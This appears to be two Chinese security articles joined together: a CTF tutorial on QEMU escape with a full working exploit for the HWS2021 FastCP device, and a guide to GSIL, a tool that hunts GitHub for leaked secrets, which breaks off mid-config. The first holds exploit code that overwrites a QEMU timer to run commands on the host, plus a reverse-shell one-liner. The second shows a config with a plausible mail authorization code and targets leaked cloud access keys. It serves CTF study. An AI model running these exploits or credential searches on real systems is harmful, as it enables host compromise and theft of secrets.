CONFIG_DATA（0xCFC）的传统方法，另一种是为 PCIe 创建的内存映射方法。
**传统方法想要写入配置需要分为两步**
1. 通过 CONFIG_ADDRESS（0xCF8 端口） 设置目标设备地址：将要操作的设备寄存器的地址写入 CONFIG_ADDRESS
2. 通过 CONFIG_DATA（0xCFC 端口） 来写值：将应该写入的数据放入 CONFIG_DATA 寄存器
由于此过程需要写入寄存器才能写入设备的寄存器，因此称为“间接写入”。
**传统方法想要读取配置也需要分为两步**
1. 通过 CONFIG_ADDRESS（0xCF8 端口） 设置目标设备地址：将要操作的设备寄存器的地址写入 CONFIG_ADDRESS
2. 通过 CONFIG_DATA（0xCFC 端口） 来读值
同时我们结合上面说明过的对 I/O 地址的操作方法，在这里我们就可以使用 outb, outw, outl 来对上述端口写值；用 inb，inw，inl
来读值。
可以参考以下操作系统中读取 PCI 设备的配置空间方法
uint16_t pciConfigReadWord (uint8_t bus, uint8_t slot, uint8_t func, uint8_t offset) {
uint32_t address;
uint32_t lbus = (uint32_t)bus;
uint32_t lslot = (uint32_t)slot;
uint32_t lfunc = (uint32_t)func;
uint16_t tmp = 0;
/* create configuration address as per Figure 1 */
address = (uint32_t)((lbus << 16) | (lslot << 11) |
(lfunc << 8) | (offset & 0xfc) | ((uint32_t)0x80000000));
/* write out the address */
outl(0xCF8, address);
/* read in the data */
/* (offset & 2) * 8) = 0 will choose the first word of the 32 bits register */
tmp = (uint16_t)((inl(0xCFC) >> ((offset & 2) * 8)) & 0xffff);
return (tmp);
}
**1.3.3 qtest 中的 PCI 设备初始化**
如果 QEMU 是使用 qtest 启动，而不是通过整个系统镜像，那么这时的 PCI 设备初始的并不完全，我们需要手动调用 qtest
中的指令对设备配置读写，来往 BAR 上写 MMIO 的地址。其中使用的方法是通过 I/O 地址 PCI CONFIG_ADDRESS（0xCF8）和
PCI CONFIG_DATA（0xCFC）来间接写入。
所以初始化的步骤应该是（以 MMIO 为例）：
1. 将 MMIO 地址写入设备的 BAR0 地址
2. 将命令写入设备的 COMMAND 地址，触发 pci_update_mappings 来重新注册 BAR0 地址
其中 COMMAND 的命令定义如下：
通常的设置都是选择 0x103，也就是设置 SERR#Enable，Memory space 和 IO space。如果要正确使用 DMA，则还需要设置
Bit 2 Bus Master，也就是写入 0x107。
最终需要执行的命令可以参考如下
outl 0xcf8 0x80001010
outl 0xcfc 0xfebc0000
outl 0xcf8 0x80001004
outw 0xcfc 0x107
其中 0x80001000 为设备配置的地址，可以根据上文中 **PCI 设备配置的地址** 所给出的结构计算得到，0x10 偏移处为 BAR0，0x4
偏移处为 COMMAND。
假设 MMIO 地址选择的是 0xfebc0000，那么最终 BAR0 基址会被设置为 0xfeb00000，以该地址为基址进行读写就能够触发 MMIO
函数。
**1.3.4 QEMU 中查看 PCI 设备**
查看设备的方法可以分为两种，lspci 命令和 info pci。
**lspci 命令**
如果 QEMU 直接启动了一个系统，那么就可以优先考虑使用 lspci 命令列出系统中所有 PCI 总线和设备的详细信息。
# lspci
00:01.0 Class 0601: 8086:7000
00:04.0 Class 00ff: dead:beef
00:00.0 Class 0600: 8086:1237
00:01.3 Class 0680: 8086:7113
00:03.0 Class 0200: 8086:100e
00:01.1 Class 0101: 8086:7010
00:02.0 Class 0300: 1234:1111
命令开头的 xx:yy.z 格式对应的是 bus（总线）、device（设备）、function（功能），之后的内容是
Class、Vendor、Device。
有了 bus、device、function 这三个信息我们就能够通过 **/sys/devices/pci0000:00/0000:[tag]** 其中的
tag 格式就是 lspci 中第一列所看到的”bus:device:function”。
**info pci 命令**
这个命令依赖于 QEMU 中的 monitor
首先需要修改 launch.sh，添加 monitor 选项（-monitor telnet:127.0.0.1:4444,server,nowait）
添加后在 QEMU 启动时就会开启 4444 端口为 monitor，我们可以使用 nc 或者 telnet 连接 4444 端口对 QEMU
进行管理操作。
连接后输入 info pci 就可以查看到所有 PCI
wjh@ubuntu:~$ nc 127.0.0.1 4444
QEMU 6.0.93 monitor - type 'help' for more information
(qemu) info pci
info pci
Bus 0, device 0, function 0:
Host bridge: PCI device 8086:1237
PCI subsystem 1af4:1100
id ""
Bus 0, device 1, function 0:
ISA bridge: PCI device 8086:7000
PCI subsystem 1af4:1100
id ""
Bus 0, device 1, function 1:
IDE controller: PCI device 8086:7010
PCI subsystem 1af4:1100
BAR4: I/O at 0xffffffffffffffff [0x000e].
id ""
Bus 0, device 1, function 3:
Bridge: PCI device 8086:7113
PCI subsystem 1af4:1100
IRQ 0, pin A
id ""
Bus 0, device 2, function 0:
Class 0255: PCI device 2021:0815
PCI subsystem 1af4:1100
IRQ 0, pin A
BAR0: 32 bit memory at 0xffffffffffffffff [0x000ffffe].
id ""
如果觉得信息不够完善，还可以用 info qtree 来输出树形结构的完整信息。
(qemu) info qtree
info qtree
bus: main-system-bus
type System
dev: hpet, id ""
gpio-in "" 2
gpio-out "" 1
gpio-out "sysbus-irq" 32
timers = 3 (0x3)
msi = false
hpet-intcap = 4 (0x4)
hpet-offset-saved = true
mmio 00000000fed00000/0000000000000400
dev: ioapic, id ""
gpio-in "" 24
version = 32 (0x20)
mmio 00000000fec00000/0000000000001000
dev: i440FX-pcihost, id ""
pci-hole64-size = 2147483648 (2 GiB)
short_root_bus = 0 (0x0)
x-pci-hole64-fix = true
x-config-reg-migration-enabled = true
bypass-iommu = false
bus: pci.0
type PCI
dev: ctf, id ""
addr = 02.0
romfile = ""
romsize = 4294967295 (0xffffffff)
rombar = 1 (0x1)
multifunction = false
x-pcie-lnksta-dllla = true
x-pcie-extcap-init = true
failover_pair_id = ""
acpi-index = 0 (0x0)
class Class 00ff, addr 00:02.0, pci id 2021:0815 (sub 1af4:1100)
bar 0: mem at 0xffffffffffffffff [0xffffe]
...
dev: i440FX, id ""
addr = 00.0
romfile = ""
romsize = 4294967295 (0xffffffff)
rombar = 1 (0x1)
multifunction = false
x-pcie-lnksta-dllla = true
x-pcie-extcap-init = true
failover_pair_id = ""
acpi-index = 0 (0x0)
class Host bridge, addr 00:00.0, pci id 8086:1237 (sub 1af4:1100)
dev: fw_cfg_io, id ""
dma_enabled = true
x-file-slots = 32 (0x20)
acpi-mr-restore = true
dev: kvmvapic, id ""
**1.3.5 QEMU 程序中的 PCI 设备定位**
如果我们想要查到某个 QEMU 程序中 PCI 设备所对应的路径，那么可以通过对照 Class、Vendor、Device 的信息来确定。
例如下图中我搜索到 QEMU 中的 FastCP 设备
找到此设备的初始化函数（FastCP_class_init），并且设置对应变量的类型为 **PCIDeviceClass ***
根据其中的 class_id 赋值就可以得知，对应的 Class 应该是 00ff，根据对 vendor_id 赋值可知，对应的 Vendor ID 是
dead 、 Device ID 是 beef（这里由于程序的优化，把结构中两个连续的二字节的变量优化成一次赋值）
对照着 lspci 的结果，我们就可以得知 FastCP 对应的 PCI 设备条目是
00:04.0 Class 00ff: dead:beef
得知其条目后我们可以访问该目录（/sys/devices/pci0000:00/0000:00:04.0/）中对应的文件资源来得到我们需要的数据
* **resource 文件** ：此文件包含其相应空间的数据，resource0 对应 MMIO 空间，resource1 对应 PMIO 空间，这个文件可以便于我们在用户空间编程访问，在 **1.3.6 QEMU 中访问 PCI 设备的 I/O 空间** 中还会提及。
* **config 文件** ：此文件包含着该设备的配置文件信息，结合之前的配置空间格式可以快速的看到开头的 dead 和 beef 分别对应着 vendor 和 device，这和之前用 lspci 看到的内容一致。
# hexdump /sys/devices/pci0000\:00/0000\:00\:04.0/config
0000000 dead beef 0103 0010 0001 00ff 0000 0000
0000010 0000 fea0 0000 0000 0000 0000 0000 0000
0000020 0000 0000 0000 0000 0000 0000 1af4 1100
0000030 0000 0000 0040 0000 0000 0000 010b 0000
0000040 0005 0080 0000 0000 0000 0000 0000 0000
0000050 0000 0000 0000 0000 0000 0000 0000 0000
**1.3.6 QEMU 中访问 PCI 设备的 MMIO 空间**
**在用户态访问 mmio 空间**
通过映射 resource0 文件来实现，函数中的参数类型选择 uint32_t 还是 uint64_t 可以根据设备代码中限制的要求来确定，示例代码如下：
#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#include<sys/io.h>
unsigned char* mmio_mem;
void die(const char* msg)
{
perror(msg);
exit(-1);
}
void mmio_write(uint32_t addr, uint32_t value)
{
*((uint32_t*)(mmio_mem + addr)) = value;
}
uint32_t mmio_read(uint32_t addr)
{
return *((uint32_t*)(mmio_mem + addr));
}
int main(int argc, char *argv[])
{
// Open and map I/O memory for the strng device
int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
if (mmio_fd == -1)
die("mmio_fd open failed");
mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
if (mmio_mem == MAP_FAILED)
die("mmap mmio_mem failed");
printf("mmio_mem @ %p\n", mmio_mem);
mmio_read(0x128);
mmio_write(0x128, 1337);
}
**在内核态中访问 mmio 空间**
示例代码如下：
#include <asm/io.h>
#include <linux/ioport.h>
long addr=ioremap(ioaddr,iomemsize);
readb(addr);
readw(addr);
readl(addr);
readq(addr);//qwords=8 btyes
writeb(val,addr);
writew(val,addr);
writel(val,addr);
writeq(val,addr);
iounmap(addr);
**1.3.7 QEMU 中访问 PCI 设备的 PMIO 空间**
根据上文所说，直接通过 in 和 out 指令就可以访问 I/O memory（outb/inb, outw/inw, outl/inl）
但是使用这些函数的前提是要让程序有访问端口的权限：
* 在 0x000-0x3ff 之间的端口，可以使用 ioperm(from, num, turn_on)
* 对于 0x3ff 以上的端口，可以使用 iopl(3)，使程序可以访问所有端口
示例代码：
#include <sys/io.h>
uint32_t pmio_base = 0xc050;
uint32_t pmio_write(uint32_t addr, uint32_t value)
{
outl(value,addr);
}
uint32_t pmio_read(uint32_t addr)
{
return (uint32_t)inl(addr);
}
int main(int argc, char *argv[])
{
// Open and map I/O memory for the strng device
if (iopl(3) !=0 )
die("I/O permission is not enough");
pmio_write(pmio_base+0,0);
pmio_write(pmio_base+4,1);
}
代码中的 pmio_base 的位置可以通过查看设备的 BAR 内容来确定
在内核态访问 PMIO 操作是和用户态类似的，区别在于内核态不用申请权限、头文件需要使用以下两个。
#include <asm/io.h>
#include <linux/ioport.h>
### 1.4 调试
**调试**
使用 gdb 附加调试运行中的 QEMU 并加载二进制文件中的符号，执行如下代码：
sudo gdb ./qemu-system-x86_64
attach 相应的进程号
进程号使用 ps -aux 可以看到
### 1.5 执行 EXP
执行 EXP 需要区分为两种情况，分别是本地执行和远程执行。
**1.5.1 本地执行**
这里推荐使用重新打包的方法，这种方法可以无视系统的具体环境限制
为了方便打包，我这里写了一个脚本
**uncpio**
#!/bin/bash
set -e
cp $1 /tmp/core.gz
unar /tmp/core.gz -o /tmp/
使用方式：uncpio xxx.cpio
脚本会执行：解压参数 1 中指定的 cpio 文件到 /tmp/core 目录
**encpio**
#!/bin/sh
set -e
musl-gcc -static -O2 $1 -o /tmp/core/bin/EXP
cd /tmp/core/
find . -print0 | cpio --null -ov --format=newc > /tmp/new.cpio
cd - cp /tmp/new.cpio ./new.cpio
使用方式：encpio exp.c
脚本会执行：把参数 1 中指定的 exp.c 使用 musl-gcc 编译，然后放入 uncpio 解包出的文件（在/tmp/core
）中，对其重新打包后，再把文件复制到执行目录下的 new.cpio 文件中。
修改 launch.sh 文件把加载文件替换为 new.cpio ，进入系统后执行 /bin/EXP 即可执行 EXP 代码。
**1.5.2 远程执行**
远程执行需要考虑的就是如何上传 EXP，这里提供两种方式，适用于不同的环境（如果是普通用户权限，修改代码中的 cmd 为 “$ “）
**上传脚本 1（一次性发送全部数据）**
#!/usr/bin/env python
# -*- coding: utf-8 -*- from pwn import *
import os
# context.log_level = 'debug'
cmd = '# '
def exploit(r):
r.sendlineafter(cmd, 'stty -echo')
os.system('musl-gcc -static -O2 ./poc/exp.c -o ./poc/exp')
os.system('gzip -c ./poc/exp > ./poc/exp.gz')
r.sendlineafter(cmd, 'cat <<EOF > exp.gz.b64')
r.sendline((read('./poc/exp.gz')).encode('base64'))
r.sendline('EOF')
r.sendlineafter(cmd, 'base64 -d exp.gz.b64 > exp.gz')
r.sendlineafter(cmd, 'gunzip ./exp.gz')
r.sendlineafter(cmd, 'chmod +x ./exp')
r.sendlineafter(cmd, './exp')
r.interactive()
# p = process('./startvm.sh', shell=True)
p = remote('nc.eonew.cn',10100)
exploit(p)
**上传脚本 2（分段传输）**
#coding:utf8
from pwn import *
import base64
context.log_level = 'debug'
os.system("musl-gcc 1.c -o exp --static")
sh = remote('127.0.0.1',5555)
f = open('./exp','rb')
content = f.read()
total = len(content)
f.close()
per_length = 0x200;
sh.sendlineafter('# ','touch /tmp/exploit')
for i in range(0,total,per_length):
bstr = base64.b64encode(content[i:i+per_length])
sh.sendlineafter('# ','echo {} | base64 -d >> /tmp/exploit'.format(bstr))
if total - i > 0:
bstr = base64.b64encode(content[total-i:total])
sh.sendlineafter('# ','echo {} | base64 -d >> /tmp/exploit'.format(bstr))
sh.sendlineafter('# ','chmod +x /tmp/exploit')
sh.sendlineafter('# ','/tmp/exploit')
sh.interactive()
## 02 QEMU 逃逸题目实战
这里以我第一个在比赛中做出的 QEMU 逃逸题：”HWS2021 FastCP” 为例。
### 2.1 定位设备
我们首先查看启动命令
#!/bin/sh
./qemu-system-x86_64 -initrd ./initramfs-busybox-x64.cpio.gz -nographic -kernel ./vmlinuz-5.0.5-generic -append "priority=low console=ttyS0" -monitor /dev/null --device FastCP
在启动命令的提示下，很容易就能在 qemu-system-x86_64 里面找到 FastCP 设备的具体实现，我们使用 IDA Pro
载入文件，等待加载完毕后，在右侧函数列表搜索 FastCP。
根据上文所说的，我们首先需要定位到 FastCP_class_init 来确定 vendor_id 和 device_id，并且通过这两个值来确定
lspci 的结果。
这里我们修改 v3 设备的类型为 PCIDeviceClass，再根据赋值来确定设备
执行 launch.sh，启动 QEMU 程序，启动后登陆 root 账号，并执行 lspci
# lspci
00:01.0 Class 0601: 8086:7000
00:04.0 Class 00ff: dead:beef
00:00.0 Class 0600: 8086:1237
00:01.3 Class 0680: 8086:7113
00:03.0 Class 0200: 8086:100e
00:01.1 Class 0101: 8086:7010
00:02.0 Class 0300: 1234:1111
确定内容为 00:04.0 这一行设备，尝试访问其对应的资源
# ls /sys/devices/pci0000\:00/0000\:00\:04.0/
ari_enabled firmware_node resource
broken_parity_status irq resource0
class local_cpulist revision
config local_cpus subsystem
consistent_dma_mask_bits modalias subsystem_device
d3cold_allowed msi_bus subsystem_vendor
device numa_node uevent
dma_mask_bits power vendor
driver_override remove
enable rescan
我们可以看到其存在 resource0，这意味设备存在 mmio 空间，并且不存在 resource1，这意味着设备不存在 pmio
空间。这一点与我们之前在 IDA 中搜索得到的函数列表是吻合的。
### 2.2 QEMU 设备逆向
**2.2.1 初始化函数**
确定了设备位置后，我们接下来就是看设备对象初始化函数 **FastCP_instance_init**
，为了方便观看，首先我们要还原变量类型。而变量类型实际上是储存在符号中的，我们可以通过 Shift + F1 打开 Local Types 窗口查看。
通过搜索可以定位到相关的三个类型信息，可以知道类型信息是存在的，只是 IDA 的伪代码没能够自动还原，我们可以通过按下 Tab
定位到汇编代码中给出的类型来还原。
根据图中的类型提示，分别设置参数类型为 Object_0 ，变量类型为 FastCPState ，得到的伪代码如下：
就可以很清楚的看到这个函数做了各种各样的初始化操作，之后的函数也用这种方法来还原类型信息，之后就不再赘述。
**2.2.2 MMIO READ**
知道初始化的内容后，我们就要在 mmio 操作中寻找对应的漏洞，我们首先来看 fastcp_mmio_read 函数。
这个函数用于返回几个操作值，操作值具体的意义可以根据名称大概猜出。同时需要特别注意的是这里限制的 size 的大小，size 的大小不为 8 则会直接返回
-1，这意味着我们在调用 mmio_read 操作的时候需要使用的类型是 uint64_t。
操作列表如下
地址 | 操作
---|---
0x8 | 读取 cp_state.CP_list_src
0x10 | 读取 cp_state.CP_list_cnt
0x18 | 读取 cp_state.cmd
这个函数内容较少，逻辑清晰可见，暂时未能看出漏洞。
**2.2.3 MMIO WRITE**
在 QEMU 逃逸的题目中，主要的漏洞位置都是在 MMIO WRITE 中，所以我们需要特别关注。
操作列表如下
地址 | 操作
---|---
0x8 | 设置 cp_state.CP_list_src
0x10 | 设置 cp_state.CP_list_cnt
0x18 | 设置 cp_state.cmd 并触发 Timer
通过操作可以了解到，关键的函数还是在时钟函数中，而且通过 cp_state.cmd 来传参
**2.2.4 CP TIMER**
此函数通过 Timer 来调用，并且通过 MMIO WRITE 设置
操作列表如下
命令 | 操作
---|---
1 | 当 CP_list_cnt 大于 0x10 的时候：<br />依次遍历 CP_list_src，每个结构的 CP_cnt 作为长度，把
CP_src 先复制到 CP_buffer，再从 CP_buffer 复制到 CP_dst（相当于从 CP_src 到 CP_dst）。<br />当
CP_list_cnt 不大于 0x10 的时候：<br />做无意义的操作
2 | CP_cnt 作为长度（最大 0x1000 字节），从 CP_src 读取内容写到 CP_buffer 中
4 | CP_cnt 作为长度（最大 0x1000 字节），从 CP_buffer 写出到 CP_dst 中
以上操作在操作前会设置 handling 为 1，操作结束后设置 handling = 0 和 cmd = 0。
漏洞还是比较明显的，在命令为 1 且 CP_list_cnt 大于 0x10 的时候，复制前没有检测 CP_cnt 是否会大于 0x1000 字节，而在
FastCPState 的结构中（结构如下）
00000000 FastCPState struc ; (sizeof=0x1A30, align=0x10, copyof_4530)
00000000 ; XREF: pci_FastCP_uninit+23/o
00000000 ; pci_FastCP_realize+59/o ...
00000000 pdev PCIDevice_0 ? ; XREF: pci_FastCP_realize+9A/r
000008F0 mmio MemoryRegion_0 ? ; XREF: pci_FastCP_realize+77/r
000008F0 ; pci_FastCP_realize+9D/o ...
000009E0 cp_state CP_state ? ; XREF: FastCP_instance_init+57/r
000009E0 ; FastCP_instance_init+62/r ...
000009F8 handling db ? ; XREF: FastCP_instance_init+78/w
000009F8 ; fastcp_mmio_read+55/r ...
000009F9 db ? ; undefined
000009FA db ? ; undefined
000009FB db ? ; undefined
000009FC irq_status dd ? ; XREF: pci_FastCP_realize+B4/w
00000A00 CP_buffer db 4096 dup(?) ; XREF: FastCP_instance_init+23/r
00000A00 ; FastCP_instance_init+2A/r ...
00001A00 cp_timer QEMUTimer_0 ? ; XREF: pci_FastCP_uninit+23/o
00001A00 ; pci_FastCP_realize+59/o ...
00001A30 FastCPState ends
CP_buffer 最大只有 0x1000 字节，在复制的中间过程中，如果设置 CP_cnt 为一个大于 0x1000 的值，就可以溢出到
cp_timer。同时如果我们利用这个功能，也可以读取到 cp_timer 上的内容。
### 2.3 利用
cp_timer 的结构（QEMUTimer）：
00000000 QEMUTimer struc ; (sizeof=0x30, align=0x8, copyof_1182)
00000000 ; XREF: FastCPState/r
00000000 expire_time dq ?
00000008 timer_list dq ? ; offset
00000010 cb dq ? ; offset
00000018 opaque dq ? ; offset
00000020 next dq ? ; offset
00000028 attributes dd ?
0000002C scale dd ?
00000030 QEMUTimer ends
想用成功利用，需要分成两步：
* 通过溢出的读取，泄露 cp_timer 结构体，其中存在 PIE 基址（计算出 system[@plt](https://github.com/plt "@plt") 的地址）和堆地址（整个结构的位置在堆上，计算出结构的开始位置，才能得到我们写入 system 参数的位置）。
* 通过溢出的写入，覆盖 cp_timer 结构体控制程序执行流
触发时钟可以利用两种方式：
* 虚拟机重启或关机的时候会触发时钟，调用 cb(opaque)
* 在 MMOI WRITE 中可以触发时钟
system 执行内容：
* cat /flag
* 反弹 shell，/bin/bash -c ‘bash -i >& /dev/tcp/ip/port 0>&1’，在 QEMU 逃逸中，执行 system(“/bin/bash”) 是无法拿到 shell 的，或者说是无法与 shell 内容交互的，必须使用反弹 shell 的形式才能够拿到 shell。
* 弹出计算器，gnome-calculator，这个大概比较适合用于做演示视频吧。
注意：所有在设备中的操作地址都是指 QEMU 模拟的物理地址，但是程序中使用 mmap 申请的是虚拟地址空间。所以要注意使用 mmap
申请出来的超过一页的部分，在物理空间上不连续。如果需要操作那块空间，需要使用那一页的虚拟地址重新计算对应的物理地址。这个性质在这道题中（超过 0x1000
的物理地址复制），需要额外的注意。
### 2.4 EXP
#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/io.h>
#include <unistd.h>
#define PAGE_SHIFT 12
#define PAGE_SIZE (1 << PAGE_SHIFT)
#define PFN_PRESENT (1ull << 63)
#define PFN_PFN ((1ull << 55) - 1)
char* userbuf;
uint64_t phy_userbuf, phy_userbuf2;
unsigned char* mmio_mem;
struct FastCP_CP_INFO
{
uint64_t CP_src;
uint64_t CP_cnt;
uint64_t CP_dst;
};
struct QEMUTimer
{
int64_t expire_time;
int64_t timer_list;
int64_t cb;
void* opaque;
int64_t next;
int attributes;
int scale;
char shell[0x50];
};
void die(const char* msg)
{
perror(msg);
exit(-1);
}
uint64_t page_offset(uint64_t addr)
{
return addr & ((1 << PAGE_SHIFT) - 1);
}
uint64_t gva_to_gfn(void* addr)
{
uint64_t pme, gfn;
size_t offset;
int fd = open("/proc/self/pagemap", O_RDONLY);
if (fd < 0)
{
die("open pagemap");
}
offset = ((uintptr_t)addr >> 9) & ~7;
lseek(fd, offset, SEEK_SET);
read(fd, &pme, 8);
if (!(pme & PFN_PRESENT))
return -1;
gfn = pme & PFN_PFN;
return gfn;
}
uint64_t gva_to_gpa(void* addr)
{
uint64_t gfn = gva_to_gfn(addr);
assert(gfn != -1);
return (gfn << PAGE_SHIFT) | page_offset((uint64_t)addr);
}
void mmio_write(uint64_t addr, uint64_t value)
{
*((uint64_t*)(mmio_mem + addr)) = value;
}
uint64_t mmio_read(uint64_t addr)
{
return *((uint64_t*)(mmio_mem + addr));
}
void fastcp_set_list_src(uint64_t list_addr)
{
mmio_write(0x8, list_addr);
}
void fastcp_set_cnt(uint64_t cnt)
{
mmio_write(0x10, cnt);
}
void fastcp_do_cmd(uint64_t cmd)
{
mmio_write(0x18, cmd);
}
void fastcp_do_readfrombuffer(uint64_t addr, uint64_t len)
{
struct FastCP_CP_INFO info;
info.CP_cnt = len;
info.CP_src = NULL;
info.CP_dst = addr;
memcpy(userbuf, &info, sizeof(info));
fastcp_set_cnt(1);
fastcp_set_list_src(phy_userbuf);
fastcp_do_cmd(4);
sleep(1);
}
void fastcp_do_writetobuffer(uint64_t addr, uint64_t len)
{
struct FastCP_CP_INFO info;
info.CP_cnt = len;
info.CP_src = addr;
info.CP_dst = NULL;
memcpy(userbuf, &info, sizeof(info));
fastcp_set_cnt(1);
fastcp_set_list_src(phy_userbuf);
fastcp_do_cmd(2);
sleep(1);
}
void fastcp_do_movebuffer(uint64_t srcaddr, uint64_t dstaddr, uint64_t len)
{
struct FastCP_CP_INFO info[0x11];
for (int i = 0; i < 0x11; i++)
{
info[i].CP_cnt = len;
info[i].CP_src = srcaddr;
info[i].CP_dst = dstaddr;
}
memcpy(userbuf, &info, sizeof(info));
fastcp_set_cnt(0x11);
fastcp_set_list_src(phy_userbuf);
fastcp_do_cmd(1);
sleep(1);
}
int main(int argc, char* argv[])
{
int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
if (mmio_fd == -1)
die("mmio_fd open failed");
mmio_mem = mmap(0, 0x100000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
if (mmio_mem == MAP_FAILED)
die("mmap mmio_mem failed");
printf("mmio_mem: %p\n", mmio_mem);
userbuf = mmap(0, 0x2000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
if (userbuf == MAP_FAILED)
die("mmap userbuf failed");
mlock(userbuf, 0x10000);
phy_userbuf = gva_to_gpa(userbuf);
printf("user buff virtual address: %p\n", userbuf);
printf("user buff physical address: %p\n", (void*)phy_userbuf);
fastcp_do_readfrombuffer(phy_userbuf, 0x1030);
fastcp_do_writetobuffer(phy_userbuf + 0x1000, 0x30);
fastcp_do_readfrombuffer(phy_userbuf, 0x30);
uint64_t leak_timer = *(uint64_t*)(&userbuf[0x10]);
printf("leaking timer: %p\n", (void*)leak_timer);
fastcp_set_cnt(1);
uint64_t pie_base = leak_timer - 0x4dce80;
printf("pie_base: %p\n", (void*)pie_base);
uint64_t system_plt = pie_base + 0x2C2180;
printf("system_plt: %p\n", (void*)system_plt);
uint64_t struct_head = *(uint64_t*)(&userbuf[0x18]);
struct QEMUTimer timer;
memset(&timer, 0, sizeof(timer));
timer.expire_time = 0xffffffffffffffff;
timer.timer_list = *(uint64_t*)(&userbuf[0x8]);
timer.cb = system_plt;
timer.opaque = struct_head + 0xa00 + 0x1000 + 0x30;
strcpy(&timer.shell, "gnome-calculator");
memcpy(userbuf + 0x1000, &timer, sizeof(timer));
fastcp_do_movebuffer(gva_to_gpa(userbuf + 0x1000) - 0x1000, gva_to_gpa(userbuf + 0x1000) - 0x1000, 0x1000 + sizeof(timer));
fastcp_do_cmd(1);
return 0;
}
**执行 EXP 后成功在主机中弹出计算器**
## 03 结语
感谢你的耐心阅读，如果前文中的内容都细看了，那么我相信应该对 QEMU、PCI 设备以及 QEMU 逃逸的过程已经有一个比较深入理解了。
这篇作为 QEMU 逃逸初探文章的第一篇，主要是介绍了 QEMU
的基础知识。但是学习过程只有理论而脱离实践是无法真正学习到知识的，之后的几篇内容都会以实战题目为主要内容来逐步的学习 QEMU
逃逸，也希望读者可以跟着文章中的介绍来动手操作一番。
同时，因为作者的水平有限，我也是在写文章的过程中去学习，文章中的很多代码和图片都来源于参考资料中，虽然我已经尽力的查阅大量的资料去检验内容的正确性，但是很难保证在文章中不出现错误。其中存在着一些主观的理解，这些理解的正确性还需要在之后的实践中来验证。这一点希望读者谅解，也希望发现错误的读者能够在评论区告知我以便修正。
## 04 参考资料
[1] [qemu 逃逸学习笔记](https://blog.csdn.net/qq_31457355/article/details/117170589)
[2] [qemu-pwn-基础知识](https://ray-cp.github.io/archivers/qemu-pwn-basic-knowledge)
[3] [[QWB2021 Quals] – EzQtest](https://matshao.com/2021/06/15/QWB2021-Quals-EzQtest/)
[4] [VM escape – QEMU Case Study](http://www.phrack.org/papers/vm-escape-qemu-case-study.html)
[5] [pagemap, from the userspace
perspective](https://www.kernel.org/doc/Documentation/vm/pagemap.txt)
[6] [QEMU 如何虚拟 PCI
设备](https://blog.csdn.net/weixin_43780260/article/details/104410063)
[7] [PCI configuration
space](https://en.wikipedia.org/wiki/PCI_configuration_space)
[8] [What is the difference between an I/O mapped I/O, and a memory mapped I/O
in the interfacing of the microprocessor?](https://www.quora.com/What-is-the-difference-between-an-I-O-mapped-I-O-and-a-memory-mapped-I-O-in-the-interfacing-of-the-microprocessor)
[9] [Github GiantVM pci.md](https://github.com/GiantVM/doc/blob/master/pci.md)
[10] [BlizzardCTF 2017 –
Strng](https://uaf.io/exploitation/2018/05/17/BlizzardCTF-2017-Strng.html)
[11] [qemu-pwn 强网杯 2019 两道 qemu 逃逸题 writeup](https://ray-cp.github.io/archivers/qemu-pwn-%E5%BC%BA%E7%BD%91%E6%9D%AF2019-%E4%B8%A4%E9%81%93qemu%E9%80%83%E9%80%B8%E9%A2%98writeup) | 社区文章 |
### 前言
GitHub作为开源代码平台，给程序员提供了交流学习的地方，提供了很多便利，但如果使用不当，比如将包含了账号密码、密钥等配置文件的代码上传了，导致攻击者能发现并进一步利用这些泄露的信息进行攻击测试。而本篇文章将介绍一款实用性较强的GitHub敏感信息收集利器——GSIL。
### GSIL环境搭建
#### 下载安装包
首先前往GitHub下载GSIL项目（地址：<https://github.com/FeeiCN/GSIL）>
之后解压到自己指定的文件夹目录下面：
#### 安装依赖库
之后安装第三方依赖库（注意这里需要使用Python3环境来运行该项目）：
pip3 install -r requirements.txt
#### 修改配置文件
##### config.gsil
之后便是修改配置文件，在这里我们需要自我注册2个新的QQ或者163或者其他的邮箱用来发送邮件和接受邮件，下面以QQ邮箱为例演示配置流程，首先我们先来看一下GSIL提供的默认的配置文件：
[mail]
host : smtp.exmail.qq.com
port : 465
mails : [email protected]
from : GSIL
password : your_password
to : [email protected]
cc : [email protected]
[github]
clone : false
tokens : your_github_token
上面的mail中的host为邮件服务器的host地址，port为端口号，mails为你的邮件地址(发送邮件)，password为授权码，具体获取方式如下：
设置——》账户，在该页面中找到如下界面
之后点击开启POP3/SMTP服务并进行密保验证：
之后即可获得你的授权码
to这是配置接受邮件的邮箱地址，cc则是邮件抄送的接受地址，这里cc建议和to配置一样，如果有多个用户在用的话可以抄送多个~
最后则是GitHub的配置了，这里我们需要生成一个GitHub的token，具体流程如下：
访问如下链接：<https://github.com/settings/tokens>
输入密码进行安全验证
之后填写个人Access Token选项：
之后点击生成Token即可查看该Token：
最后完成配置文件如下：
[mail]
host : smtp.qq.com
port : 465
mails : 21*****[email protected]
from : GSIL
password : zqbinndtnihtdigh
to : h****[email protected]
cc : h****[email protected]
[github]
clone : false
tokens : cef****************************ad7
###### rules.gsil.example
该文件主要用于配置搜索规则，下面为官方给出的一个配置规则说明实例，用户可以更具需求来进行配置：
{
# usually using the company name, used as the first parameter to open the scan(Example:`python gsil.py test`)
"test": {
# General use of product name
"mogujie": {
# Internal domain name of the company
"\"mogujie.org\"": {
# mode/ext options no need to configure by default
"mode": "normal-match",
"ext": "php,java,python,go,js,properties"
},
# Company code's characteristic code
"copyright meili inc": {},
# Internal host domain name
"yewu1.db.mogujie.host": {},
# External mailbox
"mail.mogujie.com": {}
},
"meilishuo": {
"meilishuo.org": {},
"meilishuo.io": {}
}
}
}
### GSIL实战操作
下面以OSS存储桶为例来搜索GitHub中泄露的OSS存储桶账户密码信息，首先我们跟新配置规则如下：
{
"oss": {
"oss": {
"AccesskeySecret AccessKeyId oss": {
